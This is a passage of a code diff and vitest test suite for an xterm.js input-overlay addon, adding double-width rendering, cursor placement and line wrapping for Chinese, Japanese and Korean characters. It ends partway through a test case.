(code >= 0x3040 && code <= 0x33bf) || // Hiragana, Katakana, Bopomofo, CJK Compat
(code >= 0x3400 && code <= 0x4dbf) || // CJK Unified Ext A
(code >= 0x4e00 && code <= 0xa4cf) || // CJK Unified, Yi
(code >= 0xa960 && code <= 0xa97c) || // Hangul Jamo Extended-A
(code >= 0xac00 && code <= 0xd7a3) || // Hangul Syllables
(code >= 0xf900 && code <= 0xfaff) || // CJK Compat Ideographs
(code >= 0xfe30 && code <= 0xfe6f) || // CJK Compat Forms
(code >= 0xff01 && code <= 0xff60) || // Fullwidth Forms
(code >= 0xffe0 && code <= 0xffe6) || // Fullwidth Signs
(code >= 0x1f000 && code <= 0x1fbff) || // Mahjong, Domino, Emoji
(code >= 0x20000 && code <= 0x2ffff) || // CJK Unified Ext B-F
(code >= 0x30000 && code <= 0x3ffff)) // CJK Unified Ext G+
)
return 2;
return 1;
}
/**
* Get visual cell width of a string (sum of all character widths).
*/
export function stringCellWidth(terminal: XtermTerminal | null | undefined, str: string): number {
let w = 0;
for (const ch of str) w += charCellWidth(terminal, ch);
return w;
}
// ─── Overlay rendering ────────────────────────────────────────────────
/**
* Render the overlay content into the container element.
@@ -6,100 +52,114 @@ import type { RenderParams, FontStyle } from './types.js';
* Creates per-character `<span>` elements positioned on an exact grid
* matching xterm.js's canvas renderer. This avoids sub-pixel drift that
* occurs with normal DOM text flow.
*
* CJK wide characters are rendered with double-width spans.
*/
export function renderOverlay(container: HTMLDivElement, params: RenderParams): void {
const { lines, startCol, totalCols, cellW, cellH, charTop, charHeight, promptRow, font, showCursor, cursorColor } = params;
const {
lines,
startCol,
totalCols,
cellW,
cellH,
charTop,
charHeight,
promptRow,
font,
showCursor,
cursorColor,
terminal,
} = params;
// Position container at prompt row.
container.style.left = '0px';
container.style.top = (promptRow * cellH) + 'px';
// Position container at prompt row.
container.style.left = '0px';
container.style.top = promptRow * cellH + 'px';
// Clear and rebuild (typically 1-3 line divs, negligible cost)
container.innerHTML = '';
const fullWidthPx = totalCols * cellW;
// Clear and rebuild (typically 1-3 line divs, negligible cost)
container.innerHTML = '';
const fullWidthPx = totalCols * cellW;
for (let i = 0; i < lines.length; i++) {
const leftPx = i === 0 ? startCol * cellW : 0;
const widthPx = i === 0 ? (fullWidthPx - leftPx) : fullWidthPx;
const topPx = i * cellH;
const lineEl = makeLine(lines[i], leftPx, topPx, widthPx, cellH, cellW, charTop, charHeight, font);
container.appendChild(lineEl);
for (let i = 0; i < lines.length; i++) {
const leftPx = i === 0 ? startCol * cellW : 0;
const widthPx = i === 0 ? fullWidthPx - leftPx : fullWidthPx;
const topPx = i * cellH;
const lineEl = makeLine(lines[i], leftPx, topPx, widthPx, cellH, cellW, charTop, charHeight, font, terminal);
container.appendChild(lineEl);
}
// Block cursor at end of last line (use visual width for CJK support)
if (showCursor) {
const lastLine = lines[lines.length - 1];
const lastLineLeft = lines.length === 1 ? startCol : 0;
const cursorCol = lastLineLeft + stringCellWidth(terminal, lastLine);
if (cursorCol < totalCols) {
const cursor = document.createElement('span');
cursor.style.cssText = 'position:absolute;display:inline-block';
cursor.style.left = cursorCol * cellW + 'px';
cursor.style.top = (lines.length - 1) * cellH + 'px';
cursor.style.width = cellW + 'px';
cursor.style.height = cellH + 'px';
cursor.style.backgroundColor = cursorColor;
container.appendChild(cursor);
}
}
// Block cursor at end of last line
if (showCursor) {
const lastLine = lines[lines.length - 1];
const lastLineLeft = lines.length === 1 ? startCol : 0;
const cursorCol = lastLineLeft + lastLine.length;
if (cursorCol < totalCols) {
const cursor = document.createElement('span');
cursor.style.cssText = 'position:absolute;display:inline-block';
cursor.style.left = (cursorCol * cellW) + 'px';
cursor.style.top = ((lines.length - 1) * cellH) + 'px';
cursor.style.width = cellW + 'px';
cursor.style.height = cellH + 'px';
cursor.style.backgroundColor = cursorColor;
container.appendChild(cursor);
}
}
container.style.display = '';
container.style.display = '';
}
/**
* Create a styled line `<div>` with per-character grid positioning.
*
* Each character gets its own `<span>` placed at `i * cellW` pixels.
* This matches xterm's canvas renderer where each glyph occupies exactly
* one cell width, regardless of the actual glyph metrics.
* Each character gets its own `<span>` positioned by visual column offset.
* CJK wide characters occupy 2 cell widths.
*/
function makeLine(
text: string,
leftPx: number,
topPx: number,
widthPx: number,
cellH: number,
cellW: number,
charTop: number,
charHeight: number,
font: FontStyle,
text: string,
leftPx: number,
topPx: number,
widthPx: number,
cellH: number,
cellW: number,
_charTop: number,
_charHeight: number,
font: FontStyle,
terminal?: XtermTerminal | null
): HTMLDivElement {
const el = document.createElement('div');
el.style.cssText = 'position:absolute;pointer-events:none';
el.style.backgroundColor = font.backgroundColor;
el.style.left = leftPx + 'px';
el.style.top = topPx + 'px';
el.style.width = widthPx + 'px';
// Extend background 1px past cell boundary to cover the compositing
// seam between the overlay layer (z-index:7) and the canvas layer below.
// The extra 1px lands in the next row's charTop gap (empty area before
// text rendering starts), so no canvas content is obscured.
el.style.height = (cellH + 1) + 'px';
const el = document.createElement('div');
el.style.cssText = 'position:absolute;pointer-events:none';
el.style.backgroundColor = font.backgroundColor;
el.style.left = leftPx + 'px';
el.style.top = topPx + 'px';
el.style.width = widthPx + 'px';
// Extend background 1px past cell boundary to cover the compositing
// seam between the overlay layer (z-index:7) and the canvas layer below.
// The extra 1px lands in the next row's charTop gap (empty area before
// text rendering starts), so no canvas content is obscured.
el.style.height = cellH + 1 + 'px';
// Spans fill the full cell height with matching lineHeight for natural
// CSS vertical centering. No transform — any sub-pixel overhang past
// the line div causes visible anti-aliasing artifacts at the boundary.
// The ≤0.5px difference from canvas ceil() rounding is imperceptible.
// CJK wide chars occupy 2 cells — position by visual column offset
let colOffset = 0;
for (const ch of text) {
const cw = charCellWidth(terminal, ch);
const span = document.createElement('span');
// No ligatures — canvas renders each glyph independently.
span.style.cssText =
'position:absolute;display:inline-block;text-align:center;pointer-events:none;' +
"font-feature-settings:'liga' 0,'calt' 0";
span.style.left = colOffset * cellW + 'px';
span.style.top = '0px';
span.style.width = cw * cellW + 'px';
span.style.height = cellH + 'px';
span.style.lineHeight = cellH + 'px';
span.style.fontFamily = font.fontFamily;
span.style.fontSize = font.fontSize;
span.style.fontWeight = font.fontWeight;
span.style.color = font.color;
if (font.letterSpacing) span.style.letterSpacing = font.letterSpacing;
span.textContent = ch;
el.appendChild(span);
colOffset += cw;
}
for (let i = 0; i < text.length; i++) {
const span = document.createElement('span');
// No ligatures — canvas renders each glyph independently.
span.style.cssText =
'position:absolute;display:inline-block;text-align:center;pointer-events:none;' +
"font-feature-settings:'liga' 0,'calt' 0";
span.style.left = (i * cellW) + 'px';
span.style.top = '0px';
span.style.width = cellW + 'px';
span.style.height = cellH + 'px';
span.style.lineHeight = cellH + 'px';
span.style.fontFamily = font.fontFamily;
span.style.fontSize = font.fontSize;
span.style.fontWeight = font.fontWeight;
span.style.color = font.color;
if (font.letterSpacing) span.style.letterSpacing = font.letterSpacing;
span.textContent = text[i];
el.appendChild(span);
}
return el;
return el;
}
+114 -105
View File
@@ -5,28 +5,35 @@
* Consumers pass their real Terminal instance — we only use these properties.
*/
export interface XtermTerminal {
readonly element: HTMLElement | undefined;
readonly cols: number;
readonly rows: number;
readonly options: {
fontFamily?: string;
fontSize?: number;
fontWeight?: string | number;
theme?: {
background?: string;
foreground?: string;
cursor?: string;
};
readonly element: HTMLElement | undefined;
readonly cols: number;
readonly rows: number;
readonly options: {
fontFamily?: string;
fontSize?: number;
fontWeight?: string | number;
theme?: {
background?: string;
foreground?: string;
cursor?: string;
};
readonly buffer: {
readonly active: {
readonly viewportY: number;
readonly baseY: number;
getLine(y: number): {
translateToString(trimRight?: boolean): string;
} | undefined;
};
};
readonly buffer: {
readonly active: {
readonly viewportY: number;
readonly baseY: number;
getLine(y: number):
| {
translateToString(trimRight?: boolean): string;
}
| undefined;
};
};
/** Unicode addon (e.g. Unicode11Addon) for CJK wide character width */
readonly unicode?: {
getStringCellWidth(str: string): number;
activeVersion?: string;
};
}
/**
@@ -35,18 +42,18 @@ export interface XtermTerminal {
* The consumer calls `terminal.loadAddon(addon)` which invokes `activate()`.
*/
export interface XtermAddon {
activate(terminal: XtermTerminal): void;
dispose(): void;
activate(terminal: XtermTerminal): void;
dispose(): void;
}
/**
* Position of the prompt in the terminal viewport.
*/
export interface PromptPosition {
/** Viewport-relative row (0 = top of viewport) */
row: number;
/** Column of the prompt marker character */
col: number;
/** Viewport-relative row (0 = top of viewport) */
row: number;
/** Column of the prompt marker character */
col: number;
}
/**
@@ -60,112 +67,114 @@ export interface PromptPosition {
* - `custom`: Full escape hatch — provide your own finder function
*/
export type PromptFinder =
| { type: 'character'; char: string; offset?: number }
| { type: 'regex'; pattern: RegExp; offset?: number }
| { type: 'custom'; find: (terminal: XtermTerminal) => PromptPosition | null; offset?: number };
| { type: 'character'; char: string; offset?: number }
| { type: 'regex'; pattern: RegExp; offset?: number }
| { type: 'custom'; find: (terminal: XtermTerminal) => PromptPosition | null; offset?: number };
/**
* Configuration options for ZerolagInputAddon.
*/
export interface ZerolagInputOptions {
/**
* How to find the prompt in the terminal buffer.
*
* The `offset` controls how many characters after the prompt marker
* the user input begins (e.g., `"> "` = offset 2).
*
* @default { type: 'character', char: '>', offset: 2 }
*/
prompt?: PromptFinder;
/**
* How to find the prompt in the terminal buffer.
*
* The `offset` controls how many characters after the prompt marker
* the user input begins (e.g., `"> "` = offset 2).
*
* @default { type: 'character', char: '>', offset: 2 }
*/
prompt?: PromptFinder;
/**
* Z-index for the overlay element.
* @default 7
*/
zIndex?: number;
/**
* Z-index for the overlay element.
* @default 7
*/
zIndex?: number;
/**
* Background color for the overlay.
* Set to `'transparent'` to disable the opaque background.
* @default Read from terminal.options.theme.background
*/
backgroundColor?: string;
/**
* Background color for the overlay.
* Set to `'transparent'` to disable the opaque background.
* @default Read from terminal.options.theme.background
*/
backgroundColor?: string;
/**
* Foreground color for overlay text.
* @default Read from terminal.options.theme.foreground
*/
foregroundColor?: string;
/**
* Foreground color for overlay text.
* @default Read from terminal.options.theme.foreground
*/
foregroundColor?: string;
/**
* Whether to show a block cursor at the end of the overlay text.
* @default true
*/
showCursor?: boolean;
/**
* Whether to show a block cursor at the end of the overlay text.
* @default true
*/
showCursor?: boolean;
/**
* Cursor color (block cursor at end of text).
* @default Read from terminal.options.theme.cursor
*/
cursorColor?: string;
/**
* Cursor color (block cursor at end of text).
* @default Read from terminal.options.theme.cursor
*/
cursorColor?: string;
/**
* Scroll debounce time in ms for re-rendering when user scrolls
* back to the bottom of the terminal.
* @default 50
*/
scrollDebounceMs?: number;
/**
* Scroll debounce time in ms for re-rendering when user scrolls
* back to the bottom of the terminal.
* @default 50
*/
scrollDebounceMs?: number;
}
/**
* Read-only state snapshot of the overlay.
*/
export interface ZerolagInputState {
/** Characters typed but not yet acknowledged by the server */
pendingText: string;
/** Number of characters flushed to PTY but echo not yet received */
flushedLength: number;
/** Text content of the flushed portion */
flushedText: string;
/** Whether the overlay is currently visible */
visible: boolean;
/** Last detected prompt position, if any */
promptPosition: PromptPosition | null;
/** Characters typed but not yet acknowledged by the server */
pendingText: string;
/** Number of characters flushed to PTY but echo not yet received */
flushedLength: number;
/** Text content of the flushed portion */
flushedText: string;
/** Whether the overlay is currently visible */
visible: boolean;
/** Last detected prompt position, if any */
promptPosition: PromptPosition | null;
}
/** Cell dimensions in CSS pixels. */
export interface CellDimensions {
width: number;
height: number;
/** Vertical offset (px) from cell top to where characters render. */
charTop: number;
/** Height of the character rendering area (px). */
charHeight: number;
width: number;
height: number;
/** Vertical offset (px) from cell top to where characters render. */
charTop: number;
/** Height of the character rendering area (px). */
charHeight: number;
}
/** Parameters for the overlay renderer. */
export interface RenderParams {
lines: string[];
startCol: number;
totalCols: number;
cellW: number;
cellH: number;
/** Vertical offset (px) from cell top to character rendering area. */
charTop: number;
/** Height of the character rendering area (px). */
charHeight: number;
promptRow: number;
font: FontStyle;
showCursor: boolean;
cursorColor: string;
lines: string[];
startCol: number;
totalCols: number;
cellW: number;
cellH: number;
/** Vertical offset (px) from cell top to character rendering area. */
charTop: number;
/** Height of the character rendering area (px). */
charHeight: number;
promptRow: number;
font: FontStyle;
showCursor: boolean;
cursorColor: string;
/** Terminal instance for CJK wide character width detection */
terminal?: XtermTerminal | null;
}
/** Cached font style properties for overlay rendering. */
export interface FontStyle {
fontFamily: string;
fontSize: string;
fontWeight: string;
color: string;
backgroundColor: string;
letterSpacing: string;
fontFamily: string;
fontSize: string;
fontWeight: string;
color: string;
backgroundColor: string;
letterSpacing: string;
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,843 @@
/**
* Comprehensive CJK wide character test plan for PR #30.
*
* Tests all 7 items from the test plan:
* 1. Chinese text input — no character overlap
* 2. CJK text renders with correct double-width spacing
* 3. Japanese (こんにちは) and Korean (안녕하세요) input
* 4. Cursor positions correctly after CJK characters
* 5. Long CJK input wraps at correct column boundary
* 6. Existing ASCII input is unaffected
* 7. Teammate terminal panels render CJK correctly (app.js embedded copy)
*/
import { describe, it, expect, afterEach } from 'vitest';
import { renderOverlay, charCellWidth, stringCellWidth } from '../src/overlay-renderer.js';
import type { RenderParams, FontStyle } from '../src/types.js';
import { createMockTerminal } from './helpers.js';
import { ZerolagInputAddon } from '../src/zerolag-input-addon.js';
// ─── Shared fixtures ─────────────────────────────────────────────────
const FONT: FontStyle = {
fontFamily: 'monospace',
fontSize: '14px',
fontWeight: 'normal',
color: '#eeeeee',
backgroundColor: '#0d0d0d',
letterSpacing: '',
};
function makeParams(overrides: Partial<RenderParams> = {}): RenderParams {
return {
lines: ['hello'],
startCol: 2,
totalCols: 80,
cellW: 10,
cellH: 17,
charTop: 2,
charHeight: 14,
promptRow: 0,
font: FONT,
showCursor: true,
cursorColor: '#e0e0e0',
...overrides,
};
}
/** Extract span data from a rendered line div */
function getSpans(lineDiv: HTMLDivElement) {
const spans: { text: string; left: number; width: number }[] = [];
for (let i = 0; i < lineDiv.children.length; i++) {
const span = lineDiv.children[i] as HTMLSpanElement;
spans.push({
text: span.textContent || '',
left: parseFloat(span.style.left),
width: parseFloat(span.style.width),
});
}
return spans;
}
// ─── Addon setup helpers ─────────────────────────────────────────────
let cleanups: (() => void)[] = [];
afterEach(() => {
for (const fn of cleanups) fn();
cleanups = [];
});
function tracked(lines: string[] = ['$ '], promptChar = '$') {
const mock = createMockTerminal({ buffer: { lines }, cols: 80 });
const addon = new ZerolagInputAddon({
prompt: { type: 'character', char: promptChar, offset: 2 },
});
mock.terminal.loadAddon(addon);
cleanups.push(() => {
addon.dispose();
mock.cleanup();
});
return { addon, mock };
}
// ═══════════════════════════════════════════════════════════════════════
// TEST 1: Chinese text input — no character overlap
// ═══════════════════════════════════════════════════════════════════════
describe('Test 1: Chinese text — no character overlap', () => {
it('consecutive Chinese characters have contiguous non-overlapping spans', () => {
const container = document.createElement('div');
const text = '你好世界';
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans.length).toBe(4);
// Each span: left = previous span's (left + width), width = 20px (2 cells)
for (let i = 0; i < spans.length; i++) {
expect(spans[i].width).toBe(20); // 2 cells * 10px
if (i > 0) {
const expectedLeft = spans[i - 1].left + spans[i - 1].width;
expect(spans[i].left).toBe(expectedLeft);
}
}
});
it('Chinese sentence (simulated pinyin output) renders without gaps or overlaps', () => {
const container = document.createElement('div');
const text = '我是一个测试';
renderOverlay(container, makeParams({ lines: [text], cellW: 8 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans.length).toBe(6);
// Verify contiguous positioning
let expectedLeft = 0;
for (const span of spans) {
expect(span.left).toBe(expectedLeft);
expect(span.width).toBe(16); // 2 * 8px
expectedLeft += span.width;
}
// Total visual width should be 6 chars * 2 cells * 8px = 96px
expect(expectedLeft).toBe(96);
});
it('mixed Chinese + ASCII has no gaps between spans', () => {
const container = document.createElement('div');
const text = 'hello你好world';
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
// h(10) e(10) l(10) l(10) o(10) 你(20) 好(20) w(10) o(10) r(10) l(10) d(10)
expect(spans.length).toBe(12);
// Verify contiguity: no gaps between any adjacent spans
for (let i = 1; i < spans.length; i++) {
const prevEnd = spans[i - 1].left + spans[i - 1].width;
expect(spans[i].left).toBe(prevEnd);
}
});
it('addChar with Chinese characters accumulates correctly in addon', () => {
const { addon } = tracked();
for (const ch of '你好世界') {
addon.addChar(ch);
}
expect(addon.pendingText).toBe('你好世界');
expect(addon.hasPending).toBe(true);
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 2: CJK text renders with correct double-width spacing
// ═══════════════════════════════════════════════════════════════════════
describe('Test 2: CJK double-width spacing', () => {
it('charCellWidth returns 2 for CJK Unified Ideographs (0x4E00-0x9FFF)', () => {
// Common Chinese characters
const chars = '中文测试你好世界天地人';
for (const ch of chars) {
expect(charCellWidth(null, ch)).toBe(2);
}
});
it('charCellWidth returns 2 for CJK Extension A (0x3400-0x4DBF)', () => {
expect(charCellWidth(null, '\u3400')).toBe(2); // First Extension A char
expect(charCellWidth(null, '\u4DB5')).toBe(2); // One of the last Extension A chars
});
it('charCellWidth returns 2 for CJK Radicals (0x2E80-0x2EFF)', () => {
expect(charCellWidth(null, '\u2E80')).toBe(2); // CJK Radical Repeat
});
it('charCellWidth returns 2 for fullwidth ASCII forms (0xFF01-0xFF5E)', () => {
expect(charCellWidth(null, '\uFF01')).toBe(2); // !
expect(charCellWidth(null, '\uFF21')).toBe(2); // A
expect(charCellWidth(null, '\uFF41')).toBe(2); // a
expect(charCellWidth(null, '\uFF10')).toBe(2); // 0
});
it('charCellWidth returns 2 for CJK Compatibility Ideographs (0xF900-0xFAFF)', () => {
expect(charCellWidth(null, '\uF900')).toBe(2);
});
it('stringCellWidth calculates correct visual width for CJK strings', () => {
expect(stringCellWidth(null, '你好')).toBe(4); // 2 + 2
expect(stringCellWidth(null, '你好世界')).toBe(8); // 4 * 2
expect(stringCellWidth(null, 'hi你好')).toBe(6); // 1 + 1 + 2 + 2
expect(stringCellWidth(null, '你a好b')).toBe(6); // 2 + 1 + 2 + 1
expect(stringCellWidth(null, 'abc你好def')).toBe(10); // 3 + 4 + 3
});
it('CJK span widths are exactly 2 * cellW pixels', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['你'], cellW: 8.4 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.width).toBe('16.8px'); // 2 * 8.4
});
it('ASCII span widths remain 1 * cellW pixels', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'], cellW: 8.4 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.width).toBe('8.4px'); // 1 * 8.4
});
it('terminal unicode addon is preferred over fallback when available', () => {
const mockTerminal = {
unicode: {
getStringCellWidth: (s: string) => {
// Custom width: treat 'W' as wide
return s === 'W' ? 2 : 1;
},
},
} as any;
expect(charCellWidth(mockTerminal, 'W')).toBe(2);
expect(charCellWidth(mockTerminal, 'a')).toBe(1);
// Fallback ignores terminal addon result for actual CJK
expect(charCellWidth(null, '你')).toBe(2);
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 3: Japanese (こんにちは) and Korean (안녕하세요) input
// ═══════════════════════════════════════════════════════════════════════
describe('Test 3: Japanese and Korean input', () => {
describe('Japanese', () => {
it('charCellWidth returns 2 for Hiragana (0x3040-0x309F)', () => {
const hiragana = 'あいうえおかきくけこさしすせそ';
for (const ch of hiragana) {
expect(charCellWidth(null, ch)).toBe(2);
}
});
it('charCellWidth returns 2 for Katakana (0x30A0-0x30FF)', () => {
const katakana = 'アイウエオカキクケコサシスセソ';
for (const ch of katakana) {
expect(charCellWidth(null, ch)).toBe(2);
}
});
it('Japanese greeting renders with correct span positions', () => {
const container = document.createElement('div');
const text = 'こんにちは';
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans.length).toBe(5);
// こ(0,20) ん(20,20) に(40,20) ち(60,20) は(80,20)
expect(spans[0]).toEqual({ text: 'こ', left: 0, width: 20 });
expect(spans[1]).toEqual({ text: 'ん', left: 20, width: 20 });
expect(spans[2]).toEqual({ text: 'に', left: 40, width: 20 });
expect(spans[3]).toEqual({ text: 'ち', left: 60, width: 20 });
expect(spans[4]).toEqual({ text: 'は', left: 80, width: 20 });
});
it('mixed Japanese + ASCII positions correctly', () => {
const container = document.createElement('div');
const text = 'hello こんにちは';
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
// h(0) e(10) l(20) l(30) o(40) space(50) こ(60) ん(80) に(100) ち(120) は(140)
expect(spans.length).toBe(11);
expect(spans[5]).toEqual({ text: ' ', left: 50, width: 10 }); // space
expect(spans[6]).toEqual({ text: 'こ', left: 60, width: 20 }); // first CJK after ASCII
});
it('addon handles Japanese input via addChar', () => {
const { addon } = tracked();
for (const ch of 'こんにちは') {
addon.addChar(ch);
}
expect(addon.pendingText).toBe('こんにちは');
});
it('addon handles Japanese input via appendText (paste)', () => {
const { addon } = tracked();
addon.appendText('こんにちは世界');
expect(addon.pendingText).toBe('こんにちは世界');
expect(addon.hasPending).toBe(true);
});
it('stringCellWidth correct for Japanese greeting', () => {
expect(stringCellWidth(null, 'こんにちは')).toBe(10); // 5 * 2
});
});
describe('Korean', () => {
it('charCellWidth returns 2 for Hangul Syllables (0xAC00-0xD7A3)', () => {
const hangul = '가나다라마바사아자차카타파하';
for (const ch of hangul) {
expect(charCellWidth(null, ch)).toBe(2);
}
});
it('charCellWidth returns 2 for Hangul Jamo (0x1100-0x115F)', () => {
expect(charCellWidth(null, '\u1100')).toBe(2); // ᄀ
expect(charCellWidth(null, '\u1112')).toBe(2); // ᄒ
});
it('Korean greeting renders with correct span positions', () => {
const container = document.createElement('div');
const text = '안녕하세요';
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans.length).toBe(5);
expect(spans[0]).toEqual({ text: '안', left: 0, width: 20 });
expect(spans[1]).toEqual({ text: '녕', left: 20, width: 20 });
expect(spans[2]).toEqual({ text: '하', left: 40, width: 20 });
expect(spans[3]).toEqual({ text: '세', left: 60, width: 20 });
expect(spans[4]).toEqual({ text: '요', left: 80, width: 20 });
});
it('addon handles Korean input', () => {
const { addon } = tracked();
addon.appendText('안녕하세요');
expect(addon.pendingText).toBe('안녕하세요');
expect(addon.hasPending).toBe(true);
});
it('removeChar removes Korean characters one at a time', () => {
const { addon } = tracked();
addon.appendText('안녕');
addon.removeChar();
expect(addon.pendingText).toBe('안');
addon.removeChar();
expect(addon.pendingText).toBe('');
});
it('stringCellWidth correct for Korean greeting', () => {
expect(stringCellWidth(null, '안녕하세요')).toBe(10); // 5 * 2
});
});
describe('mixed CJK scripts', () => {
it('Chinese + Japanese + Korean in one string', () => {
const text = '你好こんにちは안녕';
expect(stringCellWidth(null, text)).toBe(18); // 9 chars * 2 each
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: [text], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
// All 9 CJK chars: contiguous double-width spans
expect(spans.length).toBe(9);
let expectedLeft = 0;
for (const span of spans) {
expect(span.left).toBe(expectedLeft);
expect(span.width).toBe(20);
expectedLeft += 20;
}
});
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 4: Cursor positions correctly after CJK characters
// ═══════════════════════════════════════════════════════════════════════
describe('Test 4: Cursor positioning after CJK', () => {
it('cursor after Chinese text on first line', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['你好世界'],
startCol: 2,
cellW: 10,
showCursor: true,
})
);
// cursorCol = startCol(2) + stringCellWidth('你好世界')(8) = 10
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('100px'); // 10 * 10px
});
it('cursor after Japanese text on first line', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['こんにちは'],
startCol: 2,
cellW: 10,
showCursor: true,
})
);
// cursorCol = 2 + 10 = 12
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('120px');
});
it('cursor after Korean text on first line', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['안녕하세요'],
startCol: 2,
cellW: 10,
showCursor: true,
})
);
// cursorCol = 2 + 10 = 12
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('120px');
});
it('cursor after mixed ASCII + CJK', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['hi你好'],
startCol: 3,
cellW: 10,
showCursor: true,
})
);
// cursorCol = 3 + stringCellWidth('hi你好')(6) = 9
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('90px');
});
it('cursor on wrapped line after CJK text', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['你好世界', '再见'],
startCol: 2,
cellW: 10,
cellH: 20,
showCursor: true,
})
);
// Last line is '再见', starts at col 0 (wrapped line), width = 4
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('40px'); // 0 + 4 = 4, * 10 = 40
expect(cursor.style.top).toBe('20px'); // row 1 * cellH
});
it('cursor hidden when it would exceed totalCols', () => {
const container = document.createElement('div');
// 4 CJK chars = 8 visual cols, startCol=73, cursorCol = 73 + 8 = 81 > 80
renderOverlay(
container,
makeParams({
lines: ['你好世界'],
startCol: 73,
totalCols: 80,
cellW: 10,
showCursor: true,
})
);
// Should be 1 line div, no cursor span (cursor at col 81 >= totalCols 80)
// Actually cursor check is cursorCol < totalCols, so at 81 it's hidden
const children = container.children;
// If cursor is rendered, last child would be a cursor span
// With cursorCol 81 >= 80, cursor should NOT be rendered
expect(children.length).toBe(1); // only line div
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 5: Long CJK input wraps at correct column boundary
// ═══════════════════════════════════════════════════════════════════════
describe('Test 5: CJK line wrapping at column boundaries', () => {
it('CJK chars wrap when they would overflow first line', () => {
const container = document.createElement('div');
// totalCols=10, startCol=2 → firstLineCols=8
// Each CJK char = 2 cols → first line fits 4 chars (8 cols)
// 5th char wraps to second line
const text = '你好世界啊'; // 5 chars = 10 visual cols
renderOverlay(
container,
makeParams({
lines: ['你好世界', '啊'],
startCol: 2,
totalCols: 10,
cellW: 10,
cellH: 20,
})
);
expect(container.children.length).toBe(3); // 2 line divs + cursor
const line1 = container.children[0] as HTMLDivElement;
expect(line1.children.length).toBe(4); // 你好世界
expect(line1.style.left).toBe('20px'); // startCol * cellW
const line2 = container.children[1] as HTMLDivElement;
expect(line2.children.length).toBe(1); // 啊
expect(line2.style.left).toBe('0px'); // wrapped line starts at col 0
expect(line2.style.top).toBe('20px'); // second row
});
it('CJK char that would partially overflow stays on next line', () => {
// totalCols=9, startCol=2 → firstLineCols=7
// CJK chars are 2-wide. 3 chars = 6 cols (fits). 4th char = 8 cols > 7. Wraps.
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['你好世', '界'],
startCol: 2,
totalCols: 9,
cellW: 10,
})
);
const line1 = container.children[0] as HTMLDivElement;
expect(line1.children.length).toBe(3); // 3 CJK chars fit (6 cols <= 7)
const line2 = container.children[1] as HTMLDivElement;
expect(line2.children.length).toBe(1); // 界 wraps
});
it('addon _render splits CJK text into visual lines correctly', () => {
// Narrow terminal: 10 cols, startCol=2 → firstLineCols=8 → 4 CJK chars
const mock = createMockTerminal({
buffer: { lines: ['$ '] },
cols: 10,
});
const addon = new ZerolagInputAddon({
prompt: { type: 'character', char: '$', offset: 2 },
});
mock.terminal.loadAddon(addon);
cleanups.push(() => {
addon.dispose();
mock.cleanup();
});
// Type 6 CJK chars (12 visual cols)
for (const ch of '你好世界再见') {
addon.addChar(ch);
}
expect(addon.pendingText).toBe('你好世界再见');
expect(addon.hasPending).toBe(true);
});
it('mixed ASCII + CJK wraps correctly', () => {
const container = document.createElement('div');
// totalCols=10, startCol=2 → firstLineCols=8
// 'ab' = 2 cols, '你好' = 4 cols, 'cd' = 2 cols → total 8 cols (fits line 1)
// '世' = 2 cols → wraps to line 2
renderOverlay(
container,
makeParams({
lines: ['ab你好cd', '世'],
startCol: 2,
totalCols: 10,
cellW: 10,
})
);
const line1 = container.children[0] as HTMLDivElement;
expect(line1.children.length).toBe(6); // a,b,你,好,c,d
const line2 = container.children[1] as HTMLDivElement;
expect(line2.children.length).toBe(1); // 世
});
it('odd column count: CJK char does not split across boundary', () => {
// totalCols=11, startCol=2 → firstLineCols=9
// 4 CJK chars = 8 cols (fits). 5th CJK = 10 cols > 9 (wraps).
// 1 empty column remains on first line (CJK can't fit in 1 col).
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['你好世界', '啊'],
startCol: 2,
totalCols: 11,
cellW: 10,
})
);
const line1 = container.children[0] as HTMLDivElement;
expect(line1.children.length).toBe(4); // 4 chars = 8 cols, 5th would need 10 > 9
const line2 = container.children[1] as HTMLDivElement;
expect(line2.children.length).toBe(1);
});
it('CJK fills entire wrapped line', () => {
const container = document.createElement('div');
// totalCols=6, startCol=0 → firstLineCols=6
// 3 CJK chars = 6 cols (fills line 1), next 3 fill line 2
renderOverlay(
container,
makeParams({
